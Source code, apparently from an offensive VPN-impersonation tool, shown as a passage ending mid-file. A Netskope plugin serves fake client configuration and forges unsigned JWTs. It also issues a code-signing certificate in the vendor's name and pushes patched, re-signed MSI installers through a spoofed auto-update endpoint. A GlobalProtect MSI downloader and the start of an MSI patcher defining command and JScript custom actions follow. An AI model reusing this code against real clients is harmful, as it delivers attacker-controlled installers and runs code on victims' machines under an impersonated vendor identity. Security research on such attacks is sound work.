            x509.NameAttribute(NameOID.COUNTRY_NAME, "GB"),
            x509.NameAttribute(NameOID.EMAIL_ADDRESS, self.tenant_config["user_email"]),
        ])

        eku_list = [
            ExtendedKeyUsageOID.CLIENT_AUTH,
        ]

        key_usage = x509.KeyUsage(
            digital_signature=True,
            key_encipherment=True,
            content_commitment=False,
            data_encipherment=False,
            key_agreement=True,
            encipher_only=False,
            decipher_only=False,
            key_cert_sign=False,
            crl_sign=False
        )

        builder = x509.CertificateBuilder().subject_name(
            subject
        ).issuer_name(
            self.cert_manager.ca_cert.subject
        ).public_key(
            user_private_key.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.now(timezone.utc) - timedelta(days=1)
        ).not_valid_after(
            datetime.now(timezone.utc) + timedelta(days=365)
        ).add_extension(
            x509.ExtendedKeyUsage(eku_list),
            critical=True,
        ).add_extension(
            key_usage,
            critical=True,
        )

        # Sign the certificate with the CA private key
        user_certificate = builder.sign(self.cert_manager.ca_key, hashes.SHA256(), default_backend())

        # Convert to pkcs12
        user_p12 = serialization.pkcs12.serialize_key_and_certificates(
            b"user",
            user_private_key,
            user_certificate,
            None,
            serialization.NoEncryption())

        self.logger.info(f"Generated user certificate for {self.tenant_config['user_email']}")
        return user_p12

    def bootstrap(self):
        # Generate a Windows code signing certificate
        if not os.path.exists(self.codesign_cert_path) or not os.path.exists(self.codesign_key_path):
            self.cert_manager.generate_codesign_certificate(
                common_name="netSkope, Inc.",
                cert_path=self.codesign_cert_path,
                key_path=self.codesign_key_path,
                pfx_path=self.codesign_pfx_path
            )

        # Load the CA certificate into the tenant config
        with open(self.cert_manager.ca_cert_path, 'r') as f:
            self.tenant_config["ca_certificate"] = f.read()

        # Patch the Windows MSI file and sign it
        if not self.patch_msi_files():
            return False
        if not self.sign_msi_files():
            return False
        return True

    def can_handle_http(self, handler):
        user_agent = handler.headers.get('User-Agent', '')
        if 'Netskope ST Agent' in user_agent or \
           handler.path in ["/nsauth/client/authenticate", "/netskope/generate_command"]:
            return True
        return False

    def timestamp(self):
        return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%S.000Z")

    def request_id(self):
        return base64.urlsafe_b64encode(os.urandom(15)).decode()

    def version_hex(self):
        return os.urandom(6).hex()[:5]

    def _setup_routes(self):
        # Call the parent class's route setup
        super()._setup_routes()

        @self.flask_app.route("/", methods=["GET"])
        def index():
            return jsonify({"access-method" : "Client"})

        @self.flask_app.route("/v1/externalhost", methods=["GET"])
        def externalhost():
            data = {
                "status": "success",
                "hosts": {
                    "enrollment": self.tenant_config["enrollment_host"]
                    },
                "enabled": "true"
                }
            return jsonify(data)

        @self.flask_app.route("/adconfig", methods=["GET"])
        def adconfig():
            return jsonify({"secureUPN": "0", "status": "success"})

        @self.flask_app.route("/client/supportlogging", methods=["POST"])
        def support_logging():
            return jsonify({"status": "success"})

        @self.flask_app.route("/config/user/getbrandingbyemail", methods=["GET"])
        def getbrandingbyemail():
            orgkey = request.args.get('orgkey', self.tenant_config["orgkey"])
            data = {
                "AddonCheckerHost": self.tenant_config["addon_checker_host"],
                "AddonCheckerResponseCode": "netSkope@netSkope",
                "AddonManagerHost": self.tenant_config["addon_manager_host"],
                "EncryptBranding": False,
                "OrgKey": orgkey,
                "OrgName": self.tenant_config["tenant_name"],
                "SFCheckerHost": self.tenant_config["sf_checker_host"],
                "SFCheckerIP": "8.8.8.8",
                "UserEmail": self.tenant_config["user_email"],
                "UserKey": self.tenant_config["user_key"],
                "ValidateConfig": False,
                "status": "success",
                "tenantID": self.tenant_config["tenant_id"]
                }
            return jsonify(data)

        @self.flask_app.route("/v1/branding/tenant/<tenant>", methods=["GET"])
        def brandingtenant(tenant):
            jwt = request.headers.get('Authorization')
            data = {
                "encrypted": False,
                "nonce": "",
                "branding": {
                    "AddonCheckerHost": self.tenant_config["addon_checker_host"],
                    "AddonCheckerResponseCode": "netSkope@netSkope",
                    "AddonManagerHost": self.tenant_config["addon_manager_host"],
                    "EncryptBranding": False,
                    "OrgKey": self.tenant_config["orgkey"],
                    "OrgName": self.tenant_config["tenant_name"],
                    "SFCheckerHost": self.tenant_config["sf_checker_host"],
                    "SFCheckerIP": "8.8.8.8",
                    "UserEmail": self.tenant_config["user_email"],
                    "UserKey": self.tenant_config["user_key"],
                    "ValidateConfig": False,
                    "status": "success",
                    "tenantID": self.tenant_config["tenant_id"]
                }
            }
            return jsonify(data)

        @self.flask_app.route("/v2/config/org/clientconfig", methods=["GET"])
        def clientconfig():
            userconfig = request.args.get('userconfig', "0")
            tenantconfig = request.args.get('tenantconfig', "0")
            data = {}
            if tenantconfig == "1":
                data = {
                    "IDPModeOnlyIfConfigured": "0",
                    "MDMSecureEnrollmentTokenEnabled": "1",
                    "OverrideAccessMethodDetection": "0",
                    "add_os_and_access_method_to_ssl_decryption": "1",
                    "advance_firewall_enabled": "0",
                    "alert_acknowledge": "0",
                    "allowClientDisabling": "true",
                    "allowIdPLogout": "false",
                    "allowNpaDisabling": "true",
                    "allowOnetimeClientDisabling": "0",
                    "allow_autouninstall": "0",
                    "alwaysOnDemandVPN": "0",
                    "always_send_nsdeviceuid_new": "1",
                    "always_send_nsdeviceuid_new_v2": "1",
                    "android_chromeos_ns_client": "0",
                    "app_instance_management_enabled": "0",
                    "blockDnsTCP": "0",
                    "blockIPv6": "0",
                    "bwanclient": "0",
                    "bwanenrollmenturl": "",
                    "bypassApp": "1",
                    "bypassLoopbackDNS": "1",
                    "bypassOfficeAppsAtAndroidOS": "0",
                    "bypassPacDownloadFlow": "0",
                    "bypassPreferredIPv4macOS": "0",
                    "bypassPrivateTrafficAtDriver": "0",
                    "case_sensitive_groups": "0",
                    "cert_pinned_app_decryption_enabled": "0",
                    "cfg_ver_usr_update_check": "0",
                    "checkCiscoVpn": "0",
                    "checkSNI": "false",
                    "check_msi_digest": "0",
                    "clientAssistedGSLBGTM": "1",
                    "clientAssistedGTM": "1",
                    "clientEncryptBranding": "0",
                    "clientHandleOverlappingDomains": "0",
                    "clientStatusEnableBatching": "0",
                    "clientStatusUpdate": {
                        "heartbeatIntervalInMin": "30"
                    },
                    "clientStatusUpdateIntervalInMin": "5",
                    "clientUninstall": {
                        "allowUninstall": "true"
                    },
                    "clientUpdate": {
                        "allowAutoGoldenUpdate": "false",
                        "allowAutoUpdate": "true",
                        "showUpdateNotification": "false",
                        "updateIntervalInMin": "1"
                    },
                    "client_config_post_v2": "0",
                    "configUpdate": {
                        "updateIntervalInMin": "1"
                    },
                    "configurationName": "Test Client Configuration",
                    "custom_email_sending_domain": "0",
                    "dc_cert_check_crl_support_enabled": "0",
                    "dc_cert_check_sc_support_enabled": "0",
                    "dc_custom_label_enabled": "1",
                    "debugSettings": "true",
                    "demClientAppProbeLimit": "10",
                    "demDeviceHealthIntervalInMin": "0",
                    "demDpRouteControlCollectInterval": "0",
                    "demStationAppProbeLimit": "30",
                    "demTopConsumptionMetrics": "0",
                    "dem_active_station_limit": "0",
                    "dem_app_probes_max_limit": "0",
                    "dem_custom_apps_max_limit": "0",
                    "dem_network_path_probes_max_limit": "0",
                    "demconfig_host": "",
                    "dest-ip-policy": "0",
                    "deviceUniqueID": "1",
                    "device_admin": {
                        "auto_start_prelogin_tunnel": "false",
                        "cert_ca": [],
                        "data": "",
                        "prelogin_username": "",
                        "show_prelogon_status": "true",
                        "validate_crl": "false"
                    },
                    "device_classification_av_os_checks_enabled": "1",
                    "device_classification_cert_check_enabled": "0",
                    "device_classification_ui_improvements": "1",
                    "disableFirefoxPopup": "0",
                    "disableJavaDnsCache": "0",
                    "disableMacCannotAllocateCheck": "0",
                    "disable_appssoagent_restart": "0",
                    "dlp_unique_count_enabled": "1",
                    "dns_custom_port": "0",
                    "drop_svcb_dns_resolver_query": "1",
                    "duplicateRccDataToGEF": "0",
                    "dynamicSteering": "1",
                    "dynamicSteeringImprovementEnabled": "1",
                    "email_svc_v2_tenant_feature": "1",
                    "enableAOACSupport": "1",
                    "enableAirDropException": "0",
                    "enableClientSelfProtection": "false",
                    "enableDemClientStatus": "0",
                    "enableDemHeartbeat": "1",
                    "enableMacOSInterfaceBinding": "0",
                    "enableMacPerformance": "0",
                    "enableMacPerformance_v2": "0",
                    "enableSaveBatteryForSleepMode": "0",
                    "enableTLSKey": "0",
                    "enableTunnelSessionNotFound": "0",
                    "enableUpdatePropertyFrameSupport": "1",
                    "enable_case_insensitivity": "0",
                    "enable_dc_smart_card_insertion_detection": "0",
                    "enable_deep_custom_category_fetching": "0",
                    "enable_dem_npa_private_apps": "0",
                    "enable_mongo_maria_sync_tenant": "1",
                    "enable_scim_custom_attributes": "0",
                    "enable_scim_custom_attributes_event_enrichment": "0",
                    "enable_um_mongo_sync": "0",
                    "encryptClientConfig": "0",
                    "endpoint_dlp": "0",
                    "endpoint_dlp_cd_dvd": "0",
                    "endpoint_dlp_content_bluetooth": "0",
                    "endpoint_dlp_content_network": "0",
                    "endpoint_dlp_content_printer": "0",
                    "endpoint_dlp_device_encryption": "0",
                    "endpoint_dlp_enabled": "0",
                    "endpoint_dlp_mac_bluetooth_device_control": "1",
                    "endpoint_dlp_macos_content_control_settings": "0",
                    "endpoint_dlp_ui_mip_profiles_warning": "0",
                    "endpoint_dlp_ui_otp_enabled": "0",
                    "enhancedCertPinnedApplist": "1",
                    "enhanced_reports": "1",
                    "enhanced_reports_feature_start_date": "2025-01-01 00:00:00",
                    "enhanced_reports_migration_period": "90",
                    "enhanced_reports_pre_migration_period": "90",
                    "enhanced_reports_start_date": "2025-01-01 00:00:00",
                    "epdlp_mp": "",
                    "eventForwarderHost": "",
                    "event_incident_enabled": "0",
                    "ext_urp_enabled": "0",
                    "externalProxy": [],
                    "externalProxyConfig": "1",
                    "failClose": {
                        "captive_portal_timeout": "",
                        "exclude_npa": "false",
                        "fail_close": "false",
                        "notification": "false"
                    },
                    "fail_close_enabled": "1",
                    "fast_fetch_enabled": "0",
                    "featureActivationExpiry": "0",
                    "feature_ios_client_download": "0",
                    "feature_mongo_client_secondary_allowed": "0",
                    "forward_to_proxy_settings": "0",
                    "gslb": {
                        "host": self.tenant_config["gslb_gateway_host"],
                        "port": "443"
                    },
                    "gsuite_mailclient_enabled": "0",
                    "handleExceptionsAtDriver": "0",
                    "handleSNIFromSegmentPacket": "0",
                    "hideClientIcon": "false",
                    "hide_client_after": "50",
                    "ignoreInactiveSystemProxy": "0",
                    "ignoreLoopbackProxy": "0",
                    "ignore_cert_chain_certs": "1",
                    "industry_comparison_enabled": "1",
                    "injectAtTransportLayer": 0,
                    "inline_policy_enhancements_enabled": "1",
                    "interopProxy": {
                        "host": "",
                        "port": 0,
                        "product": 0
                    },
                    "ios_vpn_mode": "1",
                    "isClientSTA": "1",
                    "large_file_support": "0",
                    "linuxBypassRouteIPException": "0",
                    "localTrafficBypass": "1",
                    "logLevel": "info",
                    "master_passcode_for_client_disablement": "0",
                    "mdm_secure_enrollment": "1",
                    "metrics": {
                        "enable": "0"
                    },
                    "mongo_user_info_flag": "1",
                    "mtu": "1476",
                    "ng_device_classification_enabled": "0",
                    "notBypassBlockedCertpinnedAppOnSession0": "0",
                    "npa": {
                        "dnstcp_enabled": "1",
                        "dtls_enabled": "0",
                        "gslb": {
                            "host": self.tenant_config["gslb_gateway_host"],
                            "port": "443"
                        },
                        "host": self.tenant_config["npa_gateway_host"],
                        "keepalive_timeout": 15,
                        "lb_host": "",
                        "npa_local_broker_v1": "0",
                        "port": 443,
                        "port_bypass_enabled": "0",
                        "rfc1918_enabled": "0",
                        "tenant": self.tenant_config["npa_host"]
                    },
                    "npa_4k_pvkey_cert": "0",
                    "npa_appdiscovery_host_limit": "32",
                    "npa_auth_client_enrollment_enabled": "0",
                    "npa_client_allow_disable": "1",
                    "npa_client_bypass_local_subnet_disabled": "0",
                    "npa_client_compose_device_user_id": "0",
                    "npa_client_l4": "0",
                    "npa_client_use_cgnat": "0",
                    "npa_docker_support": "0",
                    "npa_enable_tls_cipher_aes128_only": "1",
                    "npa_enable_wildcard_app_validation": "0",
                    "npa_gslb_client": "0",
                    "npa_gslb_client_no_fallback": "0",
                    "npa_gslb_client_pop_count": "10",
                    "npa_gslb_client_v2": "0",
                    "npa_gslb_client_v3": "1",
                    "npa_handle_dns_https_query": "0",
                    "npa_lz4_support": "0",
                    "npa_max_dns_search_domains": "0",
                    "npa_srp_compress": "0",
                    "npa_srpv2": "1",
                    "npa_srpv2_configdist": "1",
                    "nsclient_api_security_no_enc": "0",
                    "nsgw": {
                        "backupHost": self.tenant_config["nsgw_backup_host"],
                        "host": self.tenant_config["nsgw_host"],
                        "port": 443
                    },
                    "onpremcheck": {
                        "onprem_additional_http_hosts": [],
                        "onprem_additional_ips": [],
                        "onprem_host": "",
                        "onprem_http_host": "",
                        "onprem_http_tcp_connection_timeout": "",
                        "onprem_ip": "",
                        "onprem_use_dns": ""
                    },
                    "overrideUserDisableAfterLogin": "0",
                    "partner_orange": "0",
                    "pdem_subscription_level": "None",
                    "policy_group_count_max": "1024",
                    "postureValidation": {
                        "periodic_validation_enabled": "true",
                        "validation": {
                            "interval": 60
                        }
                    },
                    "posture_validation_enabled": "1",
                    "prc_dp_geofence": "0",
                    "prc_dp_npa_tenant": "0",
                    "prc_dp_premium_npa_tenant": "0",
                    "prc_dp_tenant": "0",
                    "prelogin_enabled": "false",
                    "premium_reports": "1",
                    "premium_reports_licensing_status": "1",
                    "premium_reports_licensing_status_start_date": "2025-01-01 00:00:00",
                    "premium_reports_migration_period": "0",
                    "premium_reports_ns_superadmin_access_only": "0",
                    "premium_reports_trial_period": "0",
                    "priority": 0,
                    "privateApps": {
                        "npa_vdi_support": "false",
                        "npa_vdi_user": "",
                        "partner_access": "false",
                        "partner_tenant_access": "false",
                        "partner_tenant_info": [],
                        "primary_tenant_name": "",
                        "reauth_enabled": "false",
                        "seamless_policy_update": "true"
                    },
                    "protocol": "dtls",
                    "proxyAuth": "0",
                    "proxy_chaining_enabled": "0",
                    "publisher_selection": "0",
                    "push_tenant_ca_cert_key": "1",
                    "reconfigureUser": "1",
                    "remove_source_steering_exception": "0",
                    "reportClientStatus": "0",
                    "scim_attribute_control": "0",
                    "scim_delete_disabled_user": "1",
                    "scim_group_members": "0",
                    "scim_mongo_case_insensitive_query": "1",
                    "scim_nested_group_support": "0",
                    "secureAccess": "1",
                    "secure_config_validation": "0",
                    "secure_enrollment_encryption_token_enabled": "1",
                    "secure_enrollment_multiple_token_support_enabled": "0",
                    "secure_enrollment_token_decoupling_enabled": "1",
                    "sendDeviceInfo": "false",
                    "service_profile_v2_enabled": "0",
                    "sfCheck": {
                        "SFCheckerHost": self.tenant_config["sf_checker_host"],
                        "SFCheckerIP": "8.8.8.8",
                        "SFCheckerIP6": "2001:4860:4860:8888"
                    },
                    "simple_client_notification_enabled": "1",
                    "sites_enabled": "1",
                    "steer_all_cloud_apps": "0",
                    "steering_categories_api_v2": "0",
                    "steering_config_2": "1",
                    "steering_domains_api_v2": "0",
                    "steering_dynamicdomains_api_v2": "0",
                    "steering_dynamicexceptions_api_v2": "0",
                    "steering_dynamicpinnedapps_api_v2": "0",
                    "steering_exceptions_api_v2": "0",
                    "steering_match_criteria_improvements": "0",
                    "steering_orgpac_api_v2": "0",
                    "steering_pac_api_v2": "0",
                    "steering_pinnedapps_api_v2": "0",
                    "steering_post_api_v2": "0",
                    "steering_private_apps_api_v2": "0",
                    "steering_v2_enabled": "0",
                    "stopTunnelOnSleep": "0",
                    "storage_constraint_profile_api_rate_limit": "10",
                    "supportUDPExceptions": "0",
                    "support_more_tlv": "1",
                    "support_ou_group_exceptions": "1",
                    "synchronous_scim_server": "1",
                    "traffic_mode": "web",
                    "transaction_logs_enabled": "1",
                    "uba_enabled": "0",
                    "um_api_service_migration_high_usage": "0",
                    "um_api_service_migration_low_usage": "0",
                    "um_api_service_migration_medium_usage": "0",
                    "um_clear_all_cache_async": "0",
                    "um_clear_steering_cache": "0",
                    "unified_ios_client": "1",
                    "urp_enabled": "0",
                    "useConfigVersion": "0",
                    "useSerialNumberAsHostname": "0",
                    "useWebView2": "1",
                    "use_custom_primary_identifier_user": "0",
                    "userNotification": "1",
                    "user_manager_api_enabled": "0",
                    "user_manager_for_group_memberships": "0",
                    "user_manager_object_lock": "0",
                    "validate_email_format": "1",
                    "validateusertenant": "0",
                    "versioned_steering": "1"
                }
            elif userconfig == "1":
                data = {
                    "autoUninstall": "0",
                    "onpremcheck": {
                        "onprem_additional_http_hosts": [],
                        "onprem_additional_ips": [],
                        "onprem_host": "",
                        "onprem_http_host": "",
                        "onprem_http_tcp_connection_timeout": "",
                        "onprem_ip": "",
                        "onprem_use_dns": ""
                    },
                    "privateApps": {
                        "reauth": {
                            "grace_period": 0,
                            "interval": 0
                        },
                        "reauth_enabled": "false"
                    }
                }
            return jsonify(data)

        @self.flask_app.route("/config/getoverlappingdomainlist", methods=["GET"])
        def getoverlappingdomainlist():
            data = {
                "overlappingDomainList": {
                    "1": [
                        "example.co.uk"
                    ],
                    "2": [
                        "example.net"
                    ],
                    "3": [
                        "example.org"
                    ],
                    "4": [
                        "example.com"
                    ]
                },
                "status": "OK"
            }
            return jsonify(data)

        @self.flask_app.route("/client/deviceclassification", methods=["POST"])
        def deviceclassification():
            data = {
                "status": "success",
                "latest_modified_time": self.timestamp(),
                "deviceClassification": [
                    [
                        "Test Laptops"
                    ],
                    [
                        -2
                    ]
                ]
            }
            return jsonify(data)

        @self.flask_app.route("/v2/update/clientstatus", methods=["POST"])
        def clientstatus():
            data = {"status": "success"}
            return jsonify(data)

        @self.flask_app.route("/v2/checkupdate", methods=["GET"])
        def checkupdate():
            os = request.args.get('os')
            client_hash = self.tenant_config["client_hash"]
            client_version = self.tenant_config["client_version"]
            data = {}
            if os == "win":
                data = {
                    "version": client_version,
                    "downloadurl": f"https://{self.dns_name}/dlr/{client_hash}?version={client_version}",
                    "upload_timestamp": int(time.time())
                }
            return jsonify(data)

        @self.flask_app.route("/api/clients", methods=["POST"])
        def clients():
            data = {"errors":["token jti not valid"]}
            return jsonify(data), 401

        @self.flask_app.route("/api/v0.2/footprint/<id>", methods=["GET", "POST"])
        def footprint(id):
            data = {}
            # TODO: fetch or minimise this data
            if request.method == "GET":
                data = {
                    "egress_ip": "1.2.3.4",
                    "request_id": self.request_id(),
                    "scope": "default",
                    "version": self.version_hex(),
                    "rtt_protocol": "tcp",
                    "client_country": "GB",
                    "pops": [
                        {
                            "name": self.tenant_config["pop_name"],
                            "distance": 10.91245919002901,
                            "rtt_endpoints": [
                                {
                                    "ip": self.external_ip,
                                    "port": 443,
                                    "scheme": "http",
                                    "path": "/"
                                },
                            ],
                            "country": "GB",
                            "in_country": True,
                            "dp_gateway_fqdn": self.tenant_config["dp_gateway_fqdn"],
                            "ip_address": self.external_ip
                        }
                    ]
                }
            elif request.method == "POST":
                data = {
                    "egress_ip": "1.2.3.4",
                    "request_id": self.request_id(),
                    "scope": "default",
                    "pops": [
                        {
                            "name": self.tenant_config["pop_name"],
                            "ip": self.external_ip
                        }
                    ]
                }
            return jsonify(data)

        @self.flask_app.route("/api/v0.2/npa/footprint/<id>", methods=["GET", "POST"])
        def npa_footprint(id):
            data = {}
            if request.method == "GET":
                data = {
                    "egress_ip": "1.2.3.4",
                    "request_id": self.request_id(),
                    "scope": "npa",
                    "version": self.version_hex(),
                    "rtt_protocol": "tcp",
                    "client_country": "GB",
                    "pops": [
                        {
                            "name": self.tenant_config["pop_name"],
                            "distance": 10.91245919002901,
                            "rtt_endpoints": [
                                {
                                    "ip": self.external_ip,
                                    "port": 443,
                                    "scheme": "http",
                                    "path": "/"
                                },
                                {
                                    "ip": self.external_ip,
                                    "port": 443,
                                    "scheme": "http",
                                    "path": "/"
                                }
                            ],
                            "country": "GB",
                            "in_country": True,
                            "npa_gateway_fqdn": self.tenant_config["npa_gateway_host"],
                            "npa_stitcher_fqdn": self.tenant_config["stitcher_host"],
                            "npa_gateway_ip": self.external_ip,
                            "npa_stitcher_ip": self.external_ip
                        }
                    ]
                }
            elif request.method == "POST":
                data = {
                    "egress_ip": "1.2.3.4",
                    "request_id": self.request_id(),
                    "scope": "npa",
                    "pops": [
                        {
                            "name": self.tenant_config["pop_name"],
                            "npa_gateway_ip": self.external_ip,
                            "npa_gateway_fqdn": self.tenant_config["npa_gateway_host"],
                            "npa_stitcher_ip": self.external_ip,
                            "npa_stitcher_fqdn": self.tenant_config["stitcher_host"],
                            "country": "GB",
                            "in_country": True
                        }
                    ]
                }
            return jsonify(data)

        @self.flask_app.route("/steering/categories", methods=["GET"])
        def steering_categories():
            data = {
                "status": "success",
                "steering_config_name": "Test Steering Configuration",
                "webcat_ids": []
            }
            return jsonify(data)

        @self.flask_app.route("/v2/config/org/getmanagedchecks", methods=["GET"])
        def getmanagedchecks():
            data = {
                "device_classification_rules": {
                    "win": {
                        "domain_check": {
                            "domains": [
                                "nachovpn.local"
                            ]
                        }
                    }
                },
                "latest_modified_time": self.timestamp()
            }
            return jsonify(data)

        @self.flask_app.route("/steering/pinnedapps", methods=["GET"])
        def pinnedapps():
            data = {
                "certPinnedAppList": [],
                "status": "success",
                "steering_config_name": "Test Steering Configuration"
            }
            return jsonify(data)

        @self.flask_app.route("/steering/exceptions", methods=["GET"])
        def steering_exceptions():
            data = {
                "fail_close": {
                    "domains": [],
                    "ips": []
                },
                "ips": [],
                "names": [],
                "protocols": {},
                "status": "success",
                "steering_config_name": "Test Steering Configuration"
            }
            return jsonify(data)

        @self.flask_app.route("/config/org/cert", methods=["GET"])
        def org_cert():
            return Response(self.get_org_cert(), mimetype='application/x-pem-file', 
                headers={'Content-Disposition': 'attachment; filename="cert.pem"'})

        @self.flask_app.route("/config/ca/cert", methods=["GET"])
        def ca_cert():
            return Response(self.get_ca_cert(), mimetype='application/x-pem-file', 
                headers={'Content-Disposition': 'attachment; filename="cert.pem"'})

        @self.flask_app.route("/v2/config/user/cert", methods=["GET"])
        def user_cert():
            return Response(self.get_user_cert(), mimetype='application/x-pkcs12', 
                headers={'Content-Disposition': 'attachment; filename="nsusercert.p12"'})

        @self.flask_app.route("/v1/steering/domains", methods=["GET"])
        def steering_domains():
            data = {
                "bwan_apps_enabled": 0,
                "bwan_apps_off_prem": 0,
                "bwan_apps_on_prem": 0,
                "bypass_option": 0,
                "domain_ports": {},
                "domains": [
                    self.tenant_config["addon_manager_host"],
                ],
                "dynamic_steering": 0,
                "offprem_bypass_option": 0,
                "offprem_steering_method": 0,
                "offprem_steering_method_none": 0,
                "onprem_bypass_option": 0,
                "onprem_steering_method": 0,
                "onprem_steering_method_none": 0,
                "private_apps_enabled": 1,
                "private_apps_enabled_specific": 0,
                "private_apps_off_prem": 0,
                "private_apps_off_prem_specific": 0,
                "private_apps_on_prem": 0,
                "private_apps_on_prem_specific": 0,
                "private_apps_other_steering_method": 0,
                "status": "success",
                "steering_config_name": "Test Steering Configuration",
                "steering_method_none": 0,
                "traffic_mode": "web"
            }
            return jsonify(data)

        @self.flask_app.route("/config/org/version", methods=["GET"])
        def org_version():
            return jsonify({"config_version": "2025-03-05 14:01:01.629725", "status": "success"})

        @self.flask_app.route("/netskope/generate_command", methods=["GET"])
        def generate_command():
            """
            Generate a JWT token for the enrollment request
            """
            token = jwt.encode(
                {
                    "Iss": "client",
                    "iat": int(time.time()),
                    "exp": int(time.time() + 3600),
                    "UserEmail": self.tenant_config["user_email"],
                    "OrgKey": self.tenant_config["orgkey"],
                    "AddonUrl": self.tenant_config["addon_manager_host"],
                    "TenantId": self.tenant_config["tenant_id"],
                    "nbf": int(time.time() - 3600),
                    "UTCEpoch": int(time.time()),
                },
                key=b"", algorithm=None)

            command = {
                "148": {
                    "tenantName": self.tenant_config["tenant_name"],
                    "idpTokenValue": token
                }
            }
            return jsonify(command)

        @self.flask_app.route("/dlr/<download_hash>", methods=["GET"])
        def download_client(download_hash):
            download_file = os.path.join(self.payload_dir, "STAgent.msi")
            if not os.path.exists(download_file):
                abort(404)
            return send_file(download_file, as_attachment=True)

        @self.flask_app.route('/nsauth/client/authenticate', methods=["POST", "GET"])
        def authenticate():
            token = jwt.encode(
                {
                    "Iss": "authsvc",
                    "OrgKey": self.tenant_config["orgkey"],
                    "UserEmail": self.tenant_config["user_email"],
                    "PopName": self.tenant_config["pop_name"],
                    "TenantId": self.tenant_config["tenant_id"],
                    "AddonUrl": self.tenant_config["addon_manager_host"],
                    "UTCEpoch": int(time.time()),
                    "nbf": int(time.time() - 3600),
                    "exp": int(time.time() + 3600),
                    "tenant_rotation_state": None,
                    "rotateCert": False,
                },
                key=b"", algorithm=None)
            html = self.render_template('auth.html', jwt_token=token)
            return Response(html, mimetype='text/html')

        @self.flask_app.route("/config/org/gettunnelpolicy", methods=["GET"])
        def gettunnelpolicy():
            return jsonify({"status":"success","tunnelPolicy":[]})


================================================
FILE: src/nachovpn/plugins/netskope/templates/auth.html
================================================
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Authentication Success</title>
        <style>
            body {
            background-color: #EFEFEF;
            color: #2E2F30;
            text-align: center;
            font-family: arial, sans-serif;
            margin: 0;
            }

            div.dialog {
            width: 95%;
            max-width: 33em;
            margin: 4em auto 0;
            }

            div.dialog > div {
            margin: 0 0 1em;
            padding: 1em;
            background-color: #F7F7F7;
            color: #666;
            box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
            }
        </style>
    </script>
    </head>
    <body>
        <div class="dialog">
            <div id="successMessage">
                <p>Authentication successful</p>
                <p>Configuration will automatically be downloaded.</p>
                <p>You are being redirected</p>
            </div>
        </div>
        <div id="NsLoginStatus" style="display: none;" name="JWT_NSUserInformation" value="{{ jwt_token }}" > </div>
    </body>
</html>

================================================
FILE: src/nachovpn/plugins/paloalto/__init__.py
================================================


================================================
FILE: src/nachovpn/plugins/paloalto/msi_downloader.py
================================================
import xml.etree.ElementTree as ET
import argparse
import requests
import sys
import os

class MSIDownloader:
    def __init__(self, output_dir):
        self.xml_url = "https://pan-gp-client.s3.amazonaws.com"
        self.x86_msi = "GlobalProtect.msi"
        self.x64_msi = "GlobalProtect64.msi"
        self.output_dir = output_dir

    def get_latest_versions(self):
        response = requests.get(self.xml_url)
        response.raise_for_status()

        root = ET.fromstring(response.content)
        ns = {'s3': 'http://s3.amazonaws.com/doc/2006-03-01/'}

        contents = root.findall('.//s3:Contents', ns)
        x86_keys = [c.find('s3:Key', ns).text for c in contents if 'GlobalProtect.msi' in c.find('s3:Key', ns).text]
        x64_keys = [c.find('s3:Key', ns).text for c in contents if 'GlobalProtect64.msi' in c.find('s3:Key', ns).text]

        latest_version_x86 = sorted(x86_keys)[-1]
        latest_version_x64 = sorted(x64_keys)[-1]

        return latest_version_x86, latest_version_x64

    def download_file(self, url, output_path):
        print(f"Downloading file from: {url}")
        response = requests.get(url, stream=True)
        response.raise_for_status()

        total_size = int(response.headers.get('content-length', 0))
        block_size = 1024
        current_size = 0

        with open(output_path, 'wb') as f:
            for data in response.iter_content(block_size):
                current_size += len(data)
                f.write(data)

                # Calculate progress
                if total_size:
                    progress = int(50 * current_size / total_size)
                    sys.stdout.write(f"\rDownloading: [{'=' * progress}{' ' * (50-progress)}] {current_size}/{total_size} bytes")
                    sys.stdout.flush()

        # New line after progress bar
        print()

    def download_latest_msi(self):
        latest_version_x86, latest_version_x64 = self.get_latest_versions()

        x86_url = f"{self.xml_url}/{latest_version_x86}"
        x64_url = f"{self.xml_url}/{latest_version_x64}"

        print(f"Downloading latest MSI files (version: {latest_version_x86.split('/')[0]})")

        # Download both MSI files
        os.makedirs(self.output_dir, exist_ok=True)
        x86_path = os.path.join(self.output_dir, self.x86_msi)
        x64_path = os.path.join(self.output_dir, self.x64_msi)

        print(f"Downloading: {self.x86_msi}")
        self.download_file(x86_url, x86_path)

        print(f"Downloading: {self.x64_msi}")
        self.download_file(x64_url, x64_path)

        # Verify downloads
        if not os.path.getsize(x86_path) or not os.path.getsize(x64_path):
            raise Exception("Failed to download MSI files")

        print(f"Successfully downloaded {self.x86_msi} and {self.x64_msi}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Download GlobalProtect MSI files')
    parser.add_argument('-o', '--output-dir', default=os.path.join(os.getcwd(), 'downloads'),
                        help='Directory to store downloaded MSI files. Defaults to ./downloads/')
    parser.add_argument('-f', '--force', action='store_true', help='Force download even if files exist')
    group = parser.add_mutually_exclusive_group()
    group.add_argument('-d', '--download', action='store_true', help='Download latest MSI files')
    group.add_argument('-v', '--version', action='store_true', help='Show latest version information only')
    args = parser.parse_args()

    downloader = MSIDownloader(output_dir=args.output_dir)

    if args.version:
        x86_version, x64_version = downloader.get_latest_versions()
        print(f"Latest x86 version: {x86_version.split('/')[0]}")
        print(f"Latest x64 version: {x64_version.split('/')[0]}")

    # Check if MSI files exist or if force download is enabled
    elif args.download and (not os.path.exists(os.path.join(args.output_dir, "GlobalProtect.msi")) or \
       not os.path.exists(os.path.join(args.output_dir, "GlobalProtect64.msi")) or args.force):
        x86_version, x64_version = downloader.get_latest_versions()
        downloader.download_latest_msi()
        with open(os.path.join(args.output_dir, "msi_version.txt"), "w") as f:
            f.write(x64_version.split('/')[0])

    else:
        parser.print_help()


================================================
FILE: src/nachovpn/plugins/paloalto/msi_patcher.py
================================================
from cabarchive import CabArchive, CabFile

import logging
import argparse
import shutil
import os
import uuid
import warnings
import subprocess
import tempfile
import random
import string
import csv
import hashlib

if os.name == 'nt':
    warnings.filterwarnings("ignore", category=DeprecationWarning)
    import msilib

ACTION_TYPE_JSCRIPT = 6
ACTION_TYPE_CMD = 34
